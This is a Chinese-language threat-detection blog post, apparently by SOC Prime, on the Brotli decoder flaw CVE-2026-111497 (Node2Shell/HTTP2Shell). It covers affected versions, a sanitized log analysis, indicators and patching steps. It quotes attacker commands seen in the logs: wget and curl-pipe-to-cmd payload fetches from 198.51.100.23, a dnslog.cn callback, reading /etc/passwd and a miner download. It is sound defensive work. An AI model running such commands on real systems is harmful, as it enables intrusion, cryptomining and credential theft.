Node2Shell/HTTP2Shell检测

Node2Shell/HTTP2Shell检测

SOC Prime Team
SOC Prime Team linkedin icon 关注

Node2Shell/HTTP2Shell 的检测比看起来更难,因为该漏洞并不限于一个产品。Node2Shell,也称为 HTTP2Shell,是 CVE-2026-111497:Google 的 Brotli C 解码器版本 1.0.3 至 1.2.0 的越界写入,CVSS 4.0 评分为 9.2。由于缺陷位于共享压缩库中,它影响到 Node.js、Python Brotli 包、Bun、curl、Envoy 以及其他解码 Brotli 的软件。

本文使用 LogTotal(一种将事件与已知威胁匹配的日志分析工具)分析的日志样本,介绍 Node2Shell/HTTP2Shell 检测。以下是漏洞背景、日志来源、LogTotal 报告内容以及如何响应。

免费开始使用

Node2Shell (HTTP2Shell) 分析

易受攻击的代码位于 Brotli C 解码器版本 1.0.3 至 1.2.0。作为编号机构,Google 在 CVSS 4.0 下将其评分为 9.2,而 Node.js 则将其评为高危险。为了正确读取日志样本,了解漏洞如何触发、披露过程如何展开以及哪些软件版本和配置受到影响是有帮助的。

Node2Shell 的漏洞详情

声明单个块类型然后切换块的 Brotli 流未被拒绝,因此解码在无效状态下继续并写入超出缓冲区。任何解压攻击者控制的 Brotli 数据的进程都可能受到攻击,分为两个方向:

  • 入站: 向解码的服务器发送经过巧妙构造的 Brotli 压缩 HTTP 请求体。
  • 出站: 返回给获取它的客户端的精心构造的响应。

此漏洞有多个名称。Node2Shell 最先出现,因为 Node.js 首先披露并修复了它。HTTP2Shell 表明它几乎可以影响任何通过 HTTP 解码 Brotli 的技术栈,部分覆盖还使用了 Python2Shell 和 Broccoli2Shell。

披露和利用时间轴

日期(2026 年)事件
10 月 27 日CISA 将 CVE 添加到其 KEV 目录中;美国联邦机构必须在 11 月 10 日之前修补
10 月 26 日此样本中记录的利用发生在 app-node-01 上
10 月 25 日微软发布了 .NET 的紧急修复
10 月 22 日CVE 发布;在 Node.js 24.22.0 上公开展示了代码执行;Bun 1.4.4 发布
10 月 21 日Node.js 披露并发布了修复版;Brotli 1.0.10、1.1.1 和 1.2.1 发布
2 月 27 日修复提交到 google/brotli,但无发布或公告

漏洞本身在 2018 年 3 月的 Brotli 1.0.3 中发布。OpenAI Codex 安全团队的 Khai Tran 和 Sylvie Mayer 将其报告给 Node.js。公开的概念证明已经存在,Imperva 和 ELLIO 都已对官方 Node.js 构建进行了代码执行,并且用于映射哪个主机解压 Brotli 的扫描器已经在使用。在 Python 包中尚未显示代码执行,尽管它们在恶意输入时会崩溃,如该样本中的 web-prod-01 崩溃所示。

Node2Shell 受影响版本和修复

组件修复于
Node.js 26.x / 24.x / 22.x26.12.1 / 24.22.1 / 22.23.4
Node.js 20.x 及其他不再维护的版本无修复;迁移到支持的版本
Bun1.4.4
Google Brotli 库1.0.10, 1.1.1, 1.2.1
PyPI brotli / brotlicffi1.2.1 / 1.2.1.0
.NET runtime 8 / 9 / 108.0.33 / 9.0.22 / 10.0.14
Envoy1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0
Istio1.29.9, 1.30.6, 1.31.2
Java brotli4j / Ruby brotli gem1.24.0 / 0.9.1

仅当攻击者数据可以到达解码器时,才会暴露易受攻击的版本。在 Node.js 中,通过 Express 5、body-parser 2.x、Koa body 解析器、具有请求解压缩功能的 @fastify/compress、fetch() 及直接 node:zlib Brotli 调用便可实现。在 Python 中,requests、httpx、aiohttp 和 Scrapy 在安装 brotli 或 brotlicffi 包时使用。在 .NET 中,Brotli 解压默认关闭,Envoy 和 Istio 仅在启用 Brotli 解压器时暴露。curl 仅在通过 –compressed 解码 Brotli,通过系统 libbrotli,因此需要修补的发行包;Debian 和 Red Hat 已发布修补版本。

日志来源和收集

属性值
文件Node2Shell_HTTP2Shell_sample-sanitized.jsonl
事件11
时间窗口2026 年 10 月 26 日,11:30:55 至 11:33:05 UTC
架构ECS 风格
来源4 条纯文本 Linux 内核和 systemd-coredump 消息;7 条 Microsoft Defender for Endpoint 进程创建事件

样本中的主机

原始数据中出现了三台主机,使用两种操作系统。每台主机显示 Node2Shell 暴露的不同部分。

主机OS运行时日志中的活动
app-node-01LinuxNode.js 应用程序 /opt/app/server.jsBrotli 崩溃,然后执行利用后的命令
web-prod-01LinuxPython 进程在 _brotli.cpython-311 中崩溃
win-dev-01WindowsNode.js 应用程序 C:Usersdevuserappserver.js下载并执行,隐藏的 PowerShell

检测 Node2Shell (HTTP2Shell)

LogTotal 在 5.3 秒内处理了 11 行,并对 10 行匹配了 23 个规则。它形成了 2 条链,报告了 1 条,并在 AI 验证步骤中过滤掉了 1 条。

判定字段结果
判定可疑,需要调查
严重性高
置信度中等

报告的链为 Node2Shell / HTTP2Shell 是一个关键漏洞(CVE-2026-111497):高,100% 匹配,触发了 2 个规则。它位于一个化名主机上,时间为 11:30 至 11:31 UTC 窗口,与 app-node-01 匹配。

漏洞利用:Brotli 解码器崩溃

规则“可能的 CVE-2026-111497 (HTTP2Shell / Node2Shell) 利用尝试–Brotli 解码器本机崩溃”匹配节点在 libbrotlidec.so.1.1.0 中段错误。核心转储堆栈由 BrotliDecoderDecompressStream 顶部。

该报告将此崩溃映射为拒绝服务 (T1499.004),这是影响阶段的来源。规则的最后一次命中时间为 11:33,正好在 web-prod-01 上的 _brotli.cpython-311 上的 python3 崩溃,这显示了同一个库在第二个运行时中失败。

Linux 上的利用后操作

“可疑的 NodeJS 子进程 [Linux]” 触发了 4 次,当节点 /opt/app/server.js 生成时:

  • curl 获取公共 C3Pool XMRig 挖矿设置脚本
  • wget http://198.51.100.23:3000/s.sh
  • ping -c 1 5axzi7.dnslog.cn,一个带外回调检查
  • cat /etc/passwd

Windows 上的后利用操作,在链外

样本的 Windows 部分位于报告链之外,但值得同等关注。在 win-dev-01 上,node.exe 生成 cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”,一个下载并执行模式,然后是一个隐藏的 powershell.exe 运行 whoami。

触发此活动的规则包括可疑的 NodeJS 子进程 [Windows]、通过 Cmd.EXE 从 Stdin 读取内容和可疑的 PowerShell Cmdlets。被过滤的链,Meet AvisLoader:一个旨在经受住拆除的 Windows 加载器(高),是由 curl 执行驱动的。

此样本中的 Node2Shell 指示器

指示器类型上下文
198.51.100.23IPs.sh (端口 3000) 和 /api/w (HTTPS) 的负载主机
http://198.51.100.23:3000/s.shURL通过 wget 在 app-node-01 上获取的脚本
https://198.51.100.23/api/wURL通过 cmd 在 win-dev-01 上传输
5axzi7.dnslog.cn域名通过 ping 进行带外回调
C3Pool XMRig 挖矿设置脚本下载通过节点从 curl 获取
带有 BrotliDecoderDecompressStream 的 libbrotlidec.so.1.1.0 在堆栈中崩溃特征Node.js 利用尝试
_brotli.cpython-311 崩溃崩溃特征Python 利用尝试
节点/node.exe 生成 curl、wget、ping、cat、cmd.exe、powershell.exe进程谱系利用后操作

在 Node2Shell 分类中使用 LogTotal 的发现

从报告的链开始确认在 app-node-01 上的利用,然后处理链外的每个发现。在此样本中,链外规则和过滤链指向另外两个受影响的主机,即 web-prod-01 和 win-dev-01。

Node2Shell (HTTP2Shell) 缓解

仅修补 Node.js 并不能关闭 Node2Shell,因为漏洞位于共享的 Brotli 解码器中。所有解码 Brotli 的运行时或代理都需要更新,样本中的每个主机都需要在范围内。

修补每个 Brotli 消费者

  1. 查找 Node.js 低于 22.23.4、24.22.1 或 26.12.1 的服务,以及在不再支持的 Node.js 版本或 Bun 低于 1.4.4 的服务,包括基础镜像和构建主机。
  2. 首先修补解压请求体的服务(Express 5、body-parser 2.x、Koa body 解析器、@fastify/compress),获取用户提供的 URL,或将不受信任的数据传递给 node:zlib Brotli 函数。
  3. 升级运行时,然后重启进程并重建容器镜像,包括自包含的 .NET 软件和通过 bun build –compile 构建的二进制文件。
  4. 将 PyPI brotli 升级到 1.2.1 及 brotlicffi 升级到 1.2.1.0,并更新 .NET 运行时、Envoy、Istio 和发行版 brotli 包。
  5. 停用 Node.js 20 和其他不再支持的版本,因为它们不会收到修复。
  6. 在发布补丁之前,在 WAF 或代理处拒绝 Content-Encoding: br,不区分大小写,并匹配如“gzip, br”这样的列表。此方法不涵盖由 fetch() 读取的 Brotli 响应。

LogTotal 的推荐响应

  1. 隔离主机。
  2. 收集 11:30–11:33 UTC 的进程、系统和网络数据。
  3. 验证 Node.js 补丁级别:22.23.4、24.22.1 或 26.12.1。
  4. 移除未授权的二进制文件。
  5. 在 WAF 上拒绝不受信任的 Content-Encoding: br。
  6. 以非特权模式运行 Node.js。
  7. 在可行的情况下禁用自动 Brotli 解压缩。

来自原始证据的额外步骤

  1. 扩大范围 到 win-dev-01 和 web-prod-01,而不仅仅是 app-node-01。
  2. 从出口处阻止 198.51.100.23 和 *.dnslog.cn。
  3. 检查是否有矿工: cron 条目,systemd 单元,和运行的 xmrig 进程。
  4. 假设 /etc/passwd 已被读取 并据此审核账户。
  5. 搜寻 节点、node.exe 或 python3 生成的 shell、下载程序或网络工具。

持续的 Node2Shell 监控

转发内核和 systemd-coredump 消息以及 EDR 进程事件。在此样本中,coredump 堆栈是唯一直接的漏洞利用证据,EDR 事件携带了之后发生的一切。

FAQ

什么是 Node2Shell (HTTP2Shell) 及其工作原理?

Node2Shell,也称为 HTTP2Shell,是 CVE-2026-111497:Google 的 Brotli C 解码器,版本 1.0.3 至 1.2.0 的越界写入,CVSS 4.0 评分 9.2。精心构造的 Brotli 数据可以使解压它的任何进程崩溃,并且在 Node.js 中已显示可以实现远程代码执行。上面的分析部分解释了其工作原理。

Node2Shell 是何时首次被发现的?

OpenAI Codex 安全团队的 Khai Tran 和 Sylvie Mayer 发现了该漏洞并报告给 Node.js。可以追溯到 2018 年 3 月的 Brotli 1.0.3。在没有发布的情况下,2026 年 2 月 27 日提交了修复,Node.js 于 2026 年 10 月 21 日披露了该漏洞。

Node2Shell 对系统有什么影响?

崩溃本身是一种拒绝服务,随后的活动显示了在易受攻击进程上下文中的代码执行。在此样本中,这意味着一个加密矿工设置脚本的下载,一个载荷提取,带外的 DNS 回调,读取 /etc/passwd 和在 Windows 主机上下载并执行。

Node2Shell 在 2026 年还会影响我吗?

是的。CVE-2026-111497 在野外被利用并列入 CISA KEV 目录。未修补的 Node.js、Bun、Python、.NET 和代理部署继续暴露,而 Node.js 20 和其他不再维护的版本将永远无法获得修复。

我如何保护自己免受 Node2Shell 的影响?

修补 Node.js 及其他所有 Brotli 消费者,重启进程并重建镜像。其间,在 WAF 或代理上拒绝 Content-Encoding: br并在可行的情况下禁用自动 Brotli 解压缩。缓解部分列出了所有详细步骤。

我如何检测 Node2Shell?

从每个 Node.js 和 Python 主机收集内核和 systemd-coredump 日志以及 EDR 进程事件。对 Brotli 解码器崩溃和运行时生成的 shell 或下载程序进行警报。LogTotal 将这些事件映射到 Node2Shell 链,但也请查看链外的发现,因为它们暴露出这里的另外两个主机。

加入 SOC Prime 的 Detection as Code 平台 以提高对与您的业务最相关的威胁的可见性。为了帮助您开始并带来即时价值,现在与 SOC Prime 专家预约会议。